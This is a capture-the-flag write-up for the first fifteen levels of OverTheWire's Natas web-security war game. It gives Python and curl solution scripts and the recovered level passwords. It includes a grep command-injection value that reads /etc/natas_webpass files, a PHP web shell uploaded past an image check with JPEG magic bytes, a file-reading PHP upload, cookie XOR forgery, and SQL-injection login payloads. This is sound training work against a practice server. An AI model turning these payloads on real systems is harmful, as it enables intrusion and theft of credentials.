Natas (OverTheWire)
Table of Contents
1 Introduction
This is a writeup for the overthewire.org war game Natas. To start a
level visit the URL http://natasx.natas.labs.overthewire.org, and
login with username: natasX
and the password found in the previous
level, where X
is the level number. All passwords for the next level
are also stored in /etc/natas_webpass/natasX, where X is the number of
the level.
In the scripts below PASS_NATASX
is the password for level X
as
found in the previous level.
2 Level 0
View the source page and find the password:
curl -u natas0:natas0 "http://natas0.natas.labs.overthewire.org/" | grep natas1
<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
3 Level 1
View the source page by using a short cut key (for me Ctrl+u
):
curl -u natas1:"${PASS_NATAS1}" "http://natas1.natas.labs.overthewire.org/" | grep natas2
<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
4 Level 2
Again view the source page. There is a line with a link to an image
<img src="files/pixel.png">
This links to
http://natas2.natas.labs.overthewire.org/files/pixel.png,
note the /files/pixels.png
. Which means it might be possible to
explorer the /files
directory. Exploring
"http://natas2.natas.labs.overthewire.org/files/" it shows that there
it another file called users.txt
which contains the password for the
next level.
curl -u natas2:"${PASS_NATAS2}" "http://natas2.natas.labs.overthewire.org/files/users.txt" | grep natas3
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
5 Level 3
View the source and find the line
<!-- No more information leaks!! Not even Google will find it this time... -->
which hints at the robots.txt
file that contains the directories
webcrawlers are not supossed to visit. From the robots.txt
we get
the directory /s3cr3t/
which contains the users.txt
file with the
password for natas4.
curl -u natas3:"${PASS_NATAS3}" "http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt" | grep natas4
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
6 Level 4
NOTE: from level 4 and onwards the code snippets are written in
Python
unless otherwise specified.
To get access to the password we need to come from the natas5 website as is metioned on the website when first loging in.
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
It is possible to simulate this by setting the referer in the header of the get request to the natas5 website.
First import some libraries and define a function that can find the password in the raw html text these will be used throughout the levels:
import requests from requests.auth import HTTPBasicAuth import re
def find_pswd(text): """ Find the line with the password in the html text. """ lines = text.split('\n') bools = list(map(lambda x : "password" in x, lines)) for (b,line) in zip(bools,lines): if b: return line
Lets also define a function that will return the user and the url that we will need for every level.
def user_url(lvl: int): """ Return the user name and url for LVL. """ user = "natas" + str(lvl) url = f"http://natas{lvl}.natas.labs.overthewire.org/" return user, url
Now the code that changes the referer to natas5:
user, url = user_url(4) headers = {'referer': 'http://natas5.natas.labs.overthewire.org/'} # get request with the referer set to natas5 r = requests.get(url, headers=headers, auth=HTTPBasicAuth(user,PASS_NATAS4)) print(find_pswd(r.text))
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
7 Level 5
After logging in the web page shows:
Access disallowed. You are not logged in
Lets inspect the headers to see what is happening
user, url = user_url(5) r = requests.get(url, auth=HTTPBasicAuth(user, PASS_NATAS5)) print(r.headers)
{'Date': 'Wed, 22 Feb 2023 14:54:38 GMT', 'Server': 'Apache/2.4.52 (Ubuntu)', 'Set-Cookie': 'loggedin=0', 'Vary': 'Accept-Encoding', 'Content-Encoding': 'gzip', 'Content-Length': '368', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=UTF-8'}
The output show that the the Set-cookie loggedin=0
, if that is
changed to loggedin=1
then that should give access to the password.
user, url = user_url(5) cookies = {'loggedin': '1'} # get request with the cookie set loggedin=1 r = requests.get(url, cookies=cookies, auth=HTTPBasicAuth(user, PASS_NATAS5)) print(find_pswd(r.text))
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR</div>
8 Level 6
After logging in we are prompted to input a secret. The page source contains the line:
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
Then going to the url http://natas6.natas.labs.overthewire.org/index-source.html contains:
include "includes/secret.inc";
follow this to the url
http://natas6.natas.labs.overthewire.org/includes/secret.inc, which
reveals the secret: FOEIUWGHFEEUHOFUOIU
user, url = user_url(6) post_data = {"secret": "FOEIUWGHFEEUHOFUOIU", "submit": "submit"} r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS6), data=post_data) print(find_pswd(r.text))
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
9 Level 7
The source page says:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
and there are two links, Home
and About
. When you click on Home
or About
the url changes to /index.php?page=Home
and
/index.php?page=About
respectively. Changing either Home
or About
with the path to the password file will give access to the password,
i.e. /index.php?page=/etc/natas_webpass/natas8
. This is know as a
path traversal attack.
user, url = user_url(7) pswd = "7z3hEENjQtflzgnT29q7wAvMNfZdh0i9" path = "/index.php?page=/etc/natas_webpass/natas8" # get request with the referer set to natas5 r = requests.post(url+path, auth=HTTPBasicAuth(user,PASS_NATAS7)) print(r.text.split('\n')[-7])
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
10 Level 8
The source page again has a link to:
index-source.html
which reveals an encoded secret:
3d3d516343746d4d6d6c315669563362
it is encoded with this function:
function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); }
All we need to do is reverse this function on the given encoded secret:
from base64 import b64decode secret = "3d3d516343746d4d6d6c315669563362" # convert hex to binary binary_secret = bin(int(secret, 16)) # convert the bits to a string of chars char_secret = ''.join(chr(int(binary_secret[i*8:i*8+8],2)) for i in range(len(binary_secret)//8)) # reverse the string reverse_secret = char_secret[::-1] # base64 decode the string decoded_secret = b64decode(reverse_secret).decode("ascii") print("The decoded secret is: " + decoded_secret)
The decoded secret is: oubWYf2kBq
Now we can POST the DECODED_SECRET:
oubWYf2kBq
, to get the password.
user, url = user_url(8) post_data = {"secret": DECODED_SECRET, "submit": "submit"} # get request with the referer set to natas5 r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS8), data=post_data) print(find_pswd(r.text))
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
11 Level 9
On the site there is a search box that searches for words. Trying out some words in the search box shows that it actual does find all words containing the searched string. Inspecting the source reveals this piece of code:
if($key != "") { passthru("grep -i $key dictionary.txt"); }
So it is using grep
to find results from dictionary.txt
, but
grep
allows for multiple input files to search in and so if we input
an extra file into the search box then it will search that file as
well as dictionary.txt
. The file we want to include in the submit
box is etc/natas_webpass/natas10
, the file that holds the password
for the next level.
user, url = user_url(9) post_data = {"needle": "'' /etc/natas_webpass/natas10", "submit": "submit"} r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS9), data=post_data) # use regex to find the password print(re.findall('/etc/natas_webpass/natas10:(.*)', r.text)[0])
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
12 Level 10
This level is similar to the previous level but it checks if there are "illegal" characters in the input.
if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } }
From the regular expression in 'preg_match' the illegal characters are
;
and &
. Since those characters weren't used in the previous level
it is possible to re-use the 'needle' from level 9.
user, url = user_url(10) post_data = {"needle": "'' /etc/natas_webpass/natas11", "submit": "submit"} r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS10), data=post_data) print(re.findall('/etc/natas_webpass/natas11:(.*)', r.text)[0])
1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
13 Level 11
13.1 Intro
From the source code, these are the most important functions/variables:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); }
The xor_encrypt()
function simply encrypts the input with a censored
key. And the saveData()
creates a cookie from the
$defaultdata
. The first thing to do is get a cookie. With this
cookie and the defaultdata
it is possible to exploit a property of
the xor function, namely: plaintext ^ key = ciphertext
(where ^
is
the xor function) can be rewritten to solve for the key like
plaintext ^ ciphertext = key
. Hence we can find the key with
plaintext = $defaultdata
and ciphertext = cookie
.
13.2 Get the cookie (cipher text)
So lets get a cookie:
user, url = user_url(11) data = {"bgcolor": "#000000", "submit": "Set color"} r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS11), data=data) print(r.headers)
{'Date': 'Wed, 22 Feb 2023 17:18:39 GMT', 'Server': 'Apache/2.4.52 (Ubuntu)', 'Set-Cookie': 'data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5ofnh8e354bjY%3D', 'Vary': 'Accept-Encoding', 'Content-Encoding': 'gzip', 'Content-Length': '486', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=UTF-8'}
The Set-Cookie
value is what we are looking for.
cookie = r.headers['Set-Cookie'][5:] print(f'The cookie is: {cookie}')
The cookie is: MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5ofnh8e354bjY%3D
This cookie is url encode as can be seen by the %3D
at the end. Lets
decode it:
from urllib.parse import unquote url_decoded_cookie = unquote(cookie) print(f'The url decoded cookie is:\n{url_decoded_cookie}')
The url decoded cookie is: MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5ofnh8e354bjY=
The =
show that the decoded cookie is likely base 64 encoded, let
decode it.
from base64 import b64decode base64_decoded_cookie = b64decode(url_decoded_cookie).hex() print(f'The cookie/cipher text in hex is:\n{base64_decoded_cookie}')
The cookie/cipher text in hex is: 306c3b242439382d383d3f23392a6a766920276e676c2a2b28212423396c726e687e787c7b7e786e36
13.3 Get the plain text
Now to get the plaintext that is used in the xor_encrypt()
json
encode the defaultdata
first.
// this is php code: $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); json_encode($defaultdata); echo (json_encode($defaultdata));
{"showpassword":"no","bgcolor":"#ffffff"}
13.4 Find the encryption key
Now use the plain and cipher text in a slightly rewritten
xor_encrypt()
to find the key.
// this is php code: $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in, $key) { $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $plain = json_encode($defaultdata); $cipher = hex2bin('0a554b221e00482b02044f2503131a70531957685d555a2d12185425035502685247087a414708680c'); echo ('The key is: ' . xor_encrypt($plain, $cipher));
The key is: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq!n'!nJq
There is a pattern in the key which means that the key that was used
is the substring qw8J
.
13.5 Get the password for natas12
To get the password change the showpassword
value from the array
$defaultdata
to "yes". Then encrypt the array with the key
qw8J
. This will result in the value that should be send as the
cookie and will give the password.
// this is php code: $defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); function xor_encrypt($in, $key) { $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $plain = json_encode($defaultdata); $key = 'qw8J'; echo ('The cipher text is: ' . base64_encode(xor_encrypt($plain, $key)));
The cipher text is: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Use the just computed cipher text as the cookie and send a get request with the cookie attached. This will show the password for Natas 12.
user, url = user_url(11) data = {"bgcolor": "#000000", "submit": "Set color"} cookies = {'data': 'ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'} # get request with the referer set to natas5 r = requests.get(url, cookies=cookies, auth=HTTPBasicAuth(user, PASS_NATAS11)) print(re.findall('The password for natas12 is (.*)<br>', r.text)[0])
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
14 Level 12
The webpage asks for .jpg files to be uploaded. After uploading a
picture a link is given to the location, upload/<randomstring>.jpg
,
of the uploaded file. I tried a few path traversal attacks,
e.g. /upload/../etc/natas_webpass/natas13
, but all failed. So maybe
it is possible to upload some malicious php code instead of a jpg.
Create a php file called evil.php
that contains:
<?php echo (file_get_contents('/etc/natas_webpass/natas13')); ?>
This will print the password for natas13.
Now the python script that uploads evil.php
to the website and gets
the randon link to the uploaded file location, which should contain
the password for natas13.
user, url = user_url(12) evil = {'uploadedfile': open('/home/br/Pictures/shots/evil.php', 'rb')} r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS12), files=evil, data={'filename': 'evil.php'}) path = re.findall('href="(upload/.*.php)">', r.text)[0] print(f'The path to our uploaded file: {path}')
The path to our uploaded file: upload/tdxpbrtuna.php
r1 = requests.get(url+path, auth=HTTPBasicAuth(user, PASS_NATAS12)) # The password for natas13: print(r1.text)
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
15 Level 13
This level is similar to level 12 but it uses exif_imagetype
to
check if the file being uploaded is actually an image. It does this by
checking the magic number at the beginning of the file. So if we can
insert this magic number to the beginning of our php script than it
will pass the exif_imagetype
check will the server will execute the
contents of the file. We will insert the magic number by letting
python write it to the file in bytes. The rest of the attack is very
similar to level 12. The magic number is \xFF\xD8\xFF\xE0
.
user, url = user_url(13) # write the magic number and the to be executed php to evilFile evilFile = '/home/br/Pictures/shots/evil3.php' fh = open(evilFile, 'wb') fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>') fh.close() evil = {'uploadedfile': open(evilFile, 'rb')} # Post the evilFile to the server r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS13), files=evil, data={'filename': 'evil3.php'}) path = re.findall('href="(upload/.*.php)">', r.text)[0] print(f'The path to our uploaded file: {path}\n')
The path to our uploaded file: upload/4ttajmtyw5.php
r1 = requests.get(url+path+'?cmd=cat /etc/natas_webpass/natas14', auth=HTTPBasicAuth(user, PASS_NATAS13)) # The password for natas13 print(r1.text[4:])
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
16 Level 14
This level has a login form. The source code reveals the use of very
simple sql queries, which means we could try some sql injections. The
very first try immediately worked, supplying " or 1=1 --
for both
the username and the password.
user, url = user_url(14) data = {'username': '" or 1=1 --', 'password': '" or 1=1 --'} r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS14), data=data) print(re.findall('password for natas15 is (.*)<br>', r.text)[0])
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J